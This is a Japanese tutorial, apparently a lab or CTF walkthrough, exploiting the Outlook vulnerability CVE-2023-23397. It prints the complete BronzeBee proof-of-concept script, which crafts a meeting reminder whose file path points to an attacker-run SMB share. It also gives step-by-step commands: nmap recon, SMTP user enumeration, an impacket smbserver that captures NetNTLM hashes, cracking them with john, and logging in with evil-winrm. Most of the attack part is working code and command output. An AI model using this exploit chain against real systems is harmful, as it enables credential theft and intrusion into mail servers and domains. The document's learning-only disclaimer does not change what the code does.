Microsoft Outlookの特権権限昇格脆弱性_CVE-2023-23397_検証
Outlook CVE-2023-23397 権限昇格 Microsoft
投稿記事は、学習のため投稿しております。
本投稿内容を基に、商用環境への悪用は行わないでください。
概要
2023年3月14日に公開された脆弱性であるMicrosoft Outlookの特権権限昇格の脆弱性(CVE-2023-23397)について、PoCコードを基に攻撃例を紹介する記事となります。
偵察(Reconnaissance)
NMAPで使用されているサービスの調査
nmap -sV [標的のIPアドレス]
ポートスキャン結果
Starting Nmap 7.93 ( https://nmap.org ) at xxxxx BST
Nmap scan report for [標的のIPアドレス]
Host is up (0.17s latency).
Not shown: 971 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
25/tcp open smtp Microsoft Exchange smtpd
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
81/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: onlook.xxx., Site: Default-First-Site-Name)
443/tcp open ssl/https
444/tcp open snpp?
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
465/tcp open smtp Microsoft Exchange smtpd
587/tcp open smtp Microsoft Exchange smtpd
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
808/tcp open ccproxy-http?
1801/tcp open msmq?
2103/tcp open msrpc Microsoft Windows RPC
2105/tcp open msrpc Microsoft Windows RPC
2107/tcp open msrpc Microsoft Windows RPC
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: onlook.xxx., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
3389/tcp open ms-wbt-server Microsoft Terminal Services
6001/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
6123/tcp open msrpc Microsoft Windows RPC
6129/tcp open msrpc Microsoft Windows RPC
6666/tcp open msrpc Microsoft Windows RPC
6789/tcp open msrpc Microsoft Windows RPC
Web系のサービスポートにアクセスする
ブラウザで443にアクセス
https://localhost
OUTLOOKのログイン画面にアクセスできる
telnetコマンドで25番ポートへアクセス
telnet [標的のIPアドレス] 25
接続できたことを確認する
Trying [標的のIPアドレス]...
Connected to [標的のIPアドレス].
Escape character is '^]'.
220 LOOKOUT.[標的のドメイン名] Microsoft ESMTP MAIL Service ready at Sat, xxx
ドメイン名の部分が[ユーザ名]@[標的のドメイン名]となるためメモする
SMTPコマンド
クライアントをメールサーバに認識させる
HELO [クライアントドメイン名]
送信元をメールサーバに認識させる
MAIL FROM: [送信元メールアドレス]
送信先をメールサーバに認識させる
RCPT TO: [送信先メールアドレス]
メールの送信を終了
QUIT
初期アクセス(Initial Access)
クレデンシャルのリストをダウンロード
クレデンシャルリストのgithubのURL
https://github.com/danielmiessler/SecLists
gitコマンドでダウンロードする
git clone https://github.com/danielmiessler/SecLists.git
今回使用するファイル
SecLists/Usernames/xato-net-10-million-usernames.txt
SMTPのユーザを特定するためのリスト型攻撃
SMTPのリスト型攻撃を行うためsmtp-user-enumを使用する
※入っていない場合は以下からダウンロードする
https://github.com/cytopia/smtp-user-enum
smtp-user-enumの実行
smtp-user-enum -M RCPT -D [ドメイン名] -t [標的のIPアドレス] -U SecLists/Usernames/xato-net-10-million-usernames.txt
実行後の結果
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Mode ..................... RCPT
Worker Processes ......... 5
Usernames file ........... Usernames/xato-net-10-million-usernames.txt
Target count ............. 1
Username count ........... 8295455
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............ [標的のドメイン名]
######## Scan started at Sat Sep xxx #########
[標的のIPアドレス]: [ユーザ名]@[標的のドメイン名] exists
[標的のIPアドレス]: [ユーザ名]@[標的のドメイン名] exists
実行(Execution)
攻撃コードのダウンロード
CVE-2023-23397のPoCコードURL
https://github.com/BronzeBee/cve-2023-23397
CVE-2023-23397のPoCコード
CVE-2023-23397.py
#!/usr/env/bin python3
#
# CVE-2023-23397 exploit
# Author: @bronzebee
# 18.03.2023
#
# Original research: https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/
# TNEF-related constants and classes partially taken from https://github.com/koodaamo/tnefparse
#
import argparse
import email.utils
import logging
import os
import smtplib
import struct
import sys
import traceback
import uuid
from datetime import datetime, timedelta
from email import encoders
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
try:
# Provide optional dkim signing capability
import dkim
except ImportError:
dkim = None
MAPI_IMPORTANCE = 0x0017
MAPI_TNEF_CORRELATION_KEY = 0x007F
MAPI_BODY_HTML = 0x1013
MAPI_SEARCH_KEY = 0x300B
MAPI_MESSAGE_LOCALE_ID = 0x3FF1
TNEF_SIGNATURE = 0x223E9F78
LVL_MESSAGE = 0x01
ATTSUBJECT = 0x8004
ATTMESSAGECLASS = 0x8008
ATTMESSAGEID = 0x8009
ATTMAPIPROPS = 0x9003
ATTTNEFVERSION = 0x9006
ATTOEMCODEPAGE = 0x9007
SZMAPI_UNSPECIFIED = 0x0000
SZMAPI_SHORT = 0x0002
SZMAPI_INT = 0x0003
SZMAPI_BOOLEAN = 0x000B
SZMAPI_OBJECT = 0x000D
SZMAPI_STRING = 0x001E
SZMAPI_UNICODE_STRING = 0x001F
SZMAPI_SYSTIME = 0x0040
SZMAPI_BINARY = 0x0102
MULTI_VALUE_FLAG = 0x1000
PSETID_Appointment = '00062002-0000-0000-C000-000000000046'
PSETID_Common = '00062008-0000-0000-C000-000000000046'
PSETID_Meeting = '6ED8DA90-450B-101B-98DA-00AA003F1305'
class BulletFormatter(logging.Formatter):
"""
Impacket-style logging formatter.
Prefixing logged messages through the custom attribute 'bullet'.
"""
def __init__(self):
logging.Formatter.__init__(self, '%(bullet)s %(message)s', None)
def format(self, record):
if record.levelno == logging.INFO:
record.bullet = '[*]'
elif record.levelno == logging.DEBUG:
record.bullet = '[+]'
elif record.levelno == logging.WARNING:
record.bullet = '[!]'
else:
record.bullet = '[-]'
return logging.Formatter.format(self, record)
def init_logger(debug=False):
handler = logging.StreamHandler(sys.stdout)
handler.setFormatter(BulletFormatter())
logging.getLogger().addHandler(handler)
logging.getLogger().setLevel(
logging.DEBUG if debug else logging.INFO)
def make_pack(structure):
call = struct.Struct(structure).pack
def pack(val):
return call(val)
return pack
def guid(data):
return uuid.UUID(data).bytes_le
uint8 = make_pack('<B')
uint16 = make_pack('<H')
uint32 = make_pack('<I')
uint64 = make_pack('<Q')
int64 = make_pack('<q')
EPOCH_AS_FILETIME = 116444736000000000 # January 1, 1970 as MS file time
HUNDREDS_OF_NANOSECONDS = 10000000
def systime(dt):
return uint64(int((dt.timestamp() * HUNDREDS_OF_NANOSECONDS) + EPOCH_AS_FILETIME))
def checksum(data):
return uint16(sum(bytearray(data)) & 0xFFFF)
def pack_datetime(dt):
return struct.pack('<HHHHHH', *dt.utctimetuple()[:6])
class TNEFObject:
PTYPE_CLASS = 0x1
PTYPE_TIME = 0x3
PTYPE_STRING = 0x7
PTYPE_LONG = 0x5
def __init__(self, level, name, type, data):
self.level = level
self.name = name
self.type = type
self.data = data
@property
def blob(self):
blob = uint8(self.level)
blob += uint16(self.name)
blob += uint16(self.type)
blob += uint32(len(self.data))
blob += self.data
blob += checksum(self.data)
return blob
def enc_str(data, cp='utf-16le'):
return (data + '\x00').encode(cp)
def encode_mapi(attrs):
blob = uint32(len(attrs))
for attr in attrs:
blob += attr.blob
return blob
class MAPIAttribute:
def __init__(self, type, name, value, guid_id=None, guid_name=None, prop_id=None):
self.type = type
self.name = name
self.value = value
self.guid = guid_id
self.guid_name = guid_name
self.prop_id = prop_id
def encode_value(self):
blob = b''
attr_type = self.type
attr_values = [self.value]
if self.type & MULTI_VALUE_FLAG != 0:
attr_type ^= MULTI_VALUE_FLAG
blob += uint32(len(self.value))
attr_values = self.value
is_mv = len(attr_values) > 1
for value in attr_values:
if attr_type in (SZMAPI_STRING, SZMAPI_UNICODE_STRING, SZMAPI_OBJECT, SZMAPI_BINARY, SZMAPI_UNSPECIFIED):
vals = [value]
if not is_mv:
if isinstance(value, list):
vals = value
blob += uint32(len(vals))
for val in vals:
size = len(val)
blob += uint32(size)
blob += val
r = size % 4
if r != 0:
blob += b'\x00' * (4 - r) # Padding
else:
blob += value
return blob
@property
def blob(self):
blob = b''
blob += uint16(self.type)
blob += uint16(self.name)
if self.name >= 0x8000:
blob += guid(self.guid)
if self.prop_id is not None:
blob += uint32(0) # IDTypeNumber
blob += uint32(self.prop_id)
else:
blob += uint32(1) # IDTypeString
guid_data = (self.guid_name + '\x00').encode('utf-16le')
blob += uint32(len(guid_data))
blob += guid_data
# Padding
r = len(blob) % 4
if r != 0:
blob += b'\x00' * (4 - r)
blob += self.encode_value()
return blob
def generate_object_id():
# https://learn.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxocal/1d3aac05-a7b9-45cc-a213-47f0a0a2c5c1
size = 16
blob = b'\x04\x00\x00\x00\x82\x00\xE0\x00\x74\xC5\xB7\x10\x1A\x82\xE0\x08'
blob += b'\x00' * 4
blob += systime(datetime.utcnow())
blob += b'\x00' * 8
blob += uint32(size)
blob += os.urandom(size)
return blob
def create_tnef_body(correlation_key, file_path, receivers, subject,
body_html=None, room='Meeting Room #1', codepage=1252):
cp = 'cp%d' % codepage
msg_id = os.urandom(16)
msg = uint32(0x223E9F78) # Signature
msg += uint16(16527) # Legacy key
msg += TNEFObject(LVL_MESSAGE, ATTTNEFVERSION, 8, b'\x00\x00\x01\x00').blob # TNEF version
msg += TNEFObject(LVL_MESSAGE, ATTOEMCODEPAGE, 6, struct.pack('<Q', codepage)).blob # Codepage
msg += TNEFObject(LVL_MESSAGE, ATTMESSAGEID, 1, msg_id.hex().encode()).blob # Message ID
msg += TNEFObject(LVL_MESSAGE, 0X800D, 4, uint16(2)).blob # Normal priority
# I could not get IPM.Schedule.Meeting.Request to respect PidLidReminderOverride, so the ugly IPM.TaskRequest
# crutch is used instead. This way neither the email nor the meeting can be opened in Outlook (so `body` parameter
# is basically useless), but appears as normal message in OWA.
msg += TNEFObject(LVL_MESSAGE, ATTMESSAGECLASS, TNEFObject.PTYPE_STRING,
enc_str('IPM.TaskRequest', cp)).blob
msg += TNEFObject(LVL_MESSAGE, ATTSUBJECT, 1, enc_str(subject, cp)).blob # Subject
mapi_attrs = [
MAPIAttribute(SZMAPI_BINARY, MAPI_TNEF_CORRELATION_KEY, correlation_key.encode() + b'\x00'), # TNEF Correlator
MAPIAttribute(SZMAPI_INT, MAPI_MESSAGE_LOCALE_ID, uint32(1031)), # en_US
MAPIAttribute(SZMAPI_BINARY, MAPI_SEARCH_KEY, msg_id),
MAPIAttribute(SZMAPI_INT, MAPI_IMPORTANCE, uint32(1)), # Normal importance
MAPIAttribute(SZMAPI_UNICODE_STRING, 0x8000, enc_str(room),
PSETID_Appointment, None, 0x8208), # PidLidLocation
MAPIAttribute(SZMAPI_SYSTIME, 0x8000, systime(datetime.utcnow() - timedelta(hours=1)),
PSETID_Appointment, None, 0x820D), # PidLidAppointmentStartWhole
MAPIAttribute(SZMAPI_SYSTIME, 0x8000, systime(datetime.utcnow() + timedelta(days=1)),
PSETID_Appointment, None, 0x820E), # PidLidAppointmentEndWhole
MAPIAttribute(SZMAPI_INT, 0x8000, uint32(0x00000001),
PSETID_Meeting, None, 0x0026), # PidLidMeetingType = mtgRequest
MAPIAttribute(SZMAPI_INT, 0x8000, uint32(0x00000001),
PSETID_Appointment, None, 0x8217), # PidLidAppointmentStateFlags = afsMeeting
MAPIAttribute(SZMAPI_BOOLEAN, 0x8000, uint32(1),
PSETID_Appointment, None, 0x8215), # Subtype = all day
MAPIAttribute(SZMAPI_BOOLEAN, 0x8000, uint32(1),
PSETID_Common, None, 0x8503), # PidLidReminderSet
MAPIAttribute(SZMAPI_BOOLEAN, 0x8000, uint32(1),
PSETID_Common, None, 0x851C), # PidLidReminderOverride
MAPIAttribute(SZMAPI_BOOLEAN, 0x8000, uint32(1),
PSETID_Common, None, 0x851E), # PidLidReminderPlaySound
MAPIAttribute(SZMAPI_UNICODE_STRING, 0x8000, enc_str(file_path),
PSETID_Common, None, 0x851F), # PidLidReminderFileParameter
MAPIAttribute(SZMAPI_UNICODE_STRING, 0x8000, enc_str(';'.join(receivers)),
PSETID_Meeting, None, 0x0006), # PidLidRequiredAttendees
MAPIAttribute(SZMAPI_BINARY, 0x8000, generate_object_id(),
PSETID_Meeting, None, 0x0003), # PidLidGlobalObjectID
]
if body_html is not None:
mapi_attrs.append(MAPIAttribute(SZMAPI_BINARY, MAPI_BODY_HTML, body_html.encode(cp)))
msg += TNEFObject(LVL_MESSAGE, ATTMAPIPROPS, 6, encode_mapi(mapi_attrs)).blob
return msg
def send_email(host, port, file_path, from_addr, to_addrs, subject, room, body_text, body_html,
credentials, starttls, mailer_hostname, lang='en-US', codepage=1252, dkim_options=None):
if body_text is None and body_html is None:
raise Exception('Text or HTML data is required!')
correlation_key = '<%s@%s>' % (os.urandom(16).hex(), from_addr.split('@')[1])
msg = MIMEMultipart()
msg['From'] = from_addr
msg['To'] = ', '.join(to_addrs)
msg['Subject'] = subject
msg['Date'] = email.utils.formatdate()
msg['Thread-Topic'] = subject
msg['X-Mailer'] = 'Microsoft Outlook 16.0'
msg['Accept-Language'] = lang
msg['Content-Language'] = lang
msg['X-MS-TNEF-Correlator'] = correlation_key
msg['Message-ID'] = correlation_key
if body_text is not None:
msg.attach(MIMEText(body_text, 'plain', 'utf-8'))
payload = create_tnef_body(correlation_key, file_path, to_addrs, subject, body_html, room, codepage)
part = MIMEBase('application', 'ms-tnef', filename='winmail.dat')
part['Content-Disposition'] = 'attachment; filename="winmail.dat"'
part.set_payload(payload)
encoders.encode_base64(part)
msg.attach(part)
if dkim_options is not None:
sig = dkim.sign(
message=msg.as_string().encode(),
include_headers=[b'To', b'From', b'Subject'],
canonicalize=(b'relaxed', b'relaxed'),
**dkim_options
)
signature = sig.lstrip(b'DKIM-Signature: ').decode()
logging.info('DKIM signature generated')
logging.debug(signature)
msg['DKIM-Signature'] = signature
logging.info('Connecting to %s:%d' % (host, port))
if port == 465:
server = smtplib.SMTP_SSL(host, port)
else:
server = smtplib.SMTP(host, port)
if starttls:
server.ehlo(mailer_hostname)
server.starttls()
logging.debug('STARTTLS OK')
server.ehlo(mailer_hostname)
if credentials is not None:
if not server.esmtp_features:
logging.error('esmtp_features is empty, skipping login')
else:
logging.info('Attempting login as %s' % credentials[0])
server.login(*credentials)
logging.info('Logged in')
logging.info('Sending message to %s' % (to_addrs[0] if len(to_addrs) == 1 else ('%d addresses' % len(to_addrs))))
result = server.sendmail(from_addr, to_addrs, msg.as_string())
if not result:
logging.info('Message sent to all addresses successfully')
return
logging.error('Delivery failed for the following recipients:')
for k, v in result.items():
logging.error('%s: %s' % (k, str(v)))
return result
def main():
parser = argparse.ArgumentParser(
description='CVE-2023-23397 exploit')
parser.add_argument('-s', '--server', default='localhost:25',
help='smtp mail relay (host[:port]), default: localhost:25')
parser.add_argument('-f', '--from', dest='sender', required=True,
help='sender email address')
parser.add_argument('-t', '--to', required=True,
help='recipient email address(es), path to a file or comma-separated values')
parser.add_argument('-S', '--subject', default='Test Meeting', help='message subject')
parser.add_argument('-r', '--room', help='meeting location (room name), default: Meeting Room #1',
default='Meeting Room #1')
parser.add_argument('-b', '--body', default='Test meeting, please ignore this message.',
help='plaintext message body (or path to file)')
parser.add_argument('--html', help='HTML message body (or path to file)')
parser.add_argument('-p', '--path', required=True,
help='remote file path for NetNTLM exfiltration, e.g \\\\10.10.10.10\\share\\1.wav')
parser.add_argument('-a', '--auth', help='username:password for AUTH command if authenticated send is required')
parser.add_argument('--codepage', type=int, default=1252, help='windows codepage (e.g. 1252=ASCII, 65001=Unicode)'
' to encode HTML body (if any), default: 1252')
parser.add_argument('--ehlo', '--helo', default='localhost.localdomain',
help='EHLO command argument (sender external hostname)')
parser.add_argument('-l', '--lang', help='Content-Language header value, default: en-US', default='en-US')
parser.add_argument('--starttls', action='store_true', help='Use STARTTLS when communicating over plaintext SMTP')
parser.add_argument('--max-rcpts', type=int, default=0, help='Maximum number of recipients per send attempt')
if dkim is not None:
group = parser.add_argument_group('DKIM message signing')
group.add_argument('--dkim-selector', help='DKIM selector')
group.add_argument('--dkim-key', help='DKIM private key file path')
group.add_argument('--dkim-domain', help='DKIM domain name, default: sender address part after @')
parser.add_argument('-v', action='store_true', help='Enable debug output')
args = parser.parse_args()
init_logger(args.v)
logging.info('CVE-2023-23397 exploit')
logging.info('Author: @bronzebee')
print()
server = args.server
port = 25
if ':' in server:
try:
parts = server.split(':')
port = int(parts[1])
server = parts[0]
except ValueError:
logging.error('Invalid port value: %s' % port)
return
auth = args.auth
if auth is not None:
parts = auth.split(':')
auth = (parts[0], ':'.join(parts[1:]))
send_to = args.to
if os.path.isfile(send_to):
try:
with open(send_to, 'rt') as f:
send_to = [line.strip() for line in f if line]
logging.info('Loaded %d addresses from file' % len(send_to))
except OSError as e:
logging.error('Unable to read recipients from file')
logging.error(e)
return
elif ',' in send_to:
send_to = [addr.strip() for addr in send_to.split(',') if addr]
else:
send_to = [send_to]
body = [args.body, args.html]
for i in range(len(body)):
entry = body[i]
if not entry or not os.path.isfile(entry):
continue
try:
with open(entry, 'rt') as f:
body[i] = f.read()
logging.info('Loaded message body (%s) from %s' % (('txt', 'html')[i], entry))
except OSError as e:
logging.error('Unable to read recipients from file')
logging.error(e)
return
dkim_options = None
if dkim is not None and args.dkim_key is not None and args.dkim_selector is not None:
dkim_options = {'selector': args.dkim_selector.encode(), 'domain': args.dkim_domain}
try:
with open(args.dkim_key, 'rb') as f:
dkim_options['privkey'] = f.read()
logging.debug('Loaded DKIM private key, %d bytes' % len(dkim_options['privkey']))
except OSError as e:
logging.error('Unable to load DKIM key')
logging.error(e)
return
if args.dkim_domain is None:
dkim_options['domain'] = args.sender.split('@')[1]
dkim_options['domain'] = dkim_options['domain'].encode()
max_rctps = args.max_rcpts if args.max_rcpts else len(send_to)
sent = 0
for i in range(0, len(send_to), max_rctps):
rcpts = send_to[i:i + max_rctps]
try:
result = send_email(server, port, args.path, args.sender, rcpts, args.subject, args.room,
body[0], body[1], auth, args.starttls, args.ehlo, args.lang, args.codepage,
dkim_options)
sent += len(rcpts) if not result else len(result)
except Exception as e:
logging.error(e)
if args.v:
traceback.print_exc()
logging.info('Total messages sent: %d/%d' % (sent, len(send_to)))
if __name__ == '__main__':
main()
githubからPoCコードをダウンロード
git clone https://github.com/BronzeBee/cve-2023-23397.git
cdコマンドでPoCのディレクトリへ移動
cd cve-2023-23397
impacketを用いたSMBserverの起動
impacketのダウンロード
※別のターミナルを立ち上げる
git clone https://github.com/fortra/impacket.git
cd コマンドでディレクトリ移動
cd impacket/impacket
smbserverの起動
sudo python smbserver.py -smb2support share .
又は
sudo smbserver.py share .
cve-2023-23397のPoCコード実行
コマンド実行
python cve-2023-23397.py -s [標的のIPアドレス] -f [test@test.xxx] -t [標的のメールアドレス] -p '\\[端末のIPアドレス]\share'
実行結果
[*] CVE-2023-23397 exploit
[*] Author: @bronzebee
[*] Connecting to [標的のIPアドレス]:25
[*] Sending message to [標的のメールアドレス]
[*] Message sent to all addresses successfully
[*] Total messages sent: 1/1
smbserver側
[*] Incoming connection ([標的のIPアドレス],45932)
[*] AUTHENTICATE_MESSAGE (WORKGROUP\XXX,XXX)
[*] User [host] authenticated successfully
[*]
[標的のユーザ]::WORKGROUP:aaaaaaaaaaaaaaaa:xxxx:xxxx
[*] Connecting Share(1:share)
johnで入手したハッシュ値を辞書攻撃
john --wordlist=/usr/share/wordlists/passwords/rockyou.txt hash
標的サーバへ侵入
evil-winrmで接続
evil-winrm -i [標的のIPアドレス] -u [入手したユーザ名] -p '入手したパスワード'
参考文献
- Microsoft Outlook Elevation of Privilege Vulnerability
- 脅威に関する情報: Microsoft Outlookにおける特権昇格の脆弱性(CVE-2023-23397)
- CVE-2023-23397のPoCコード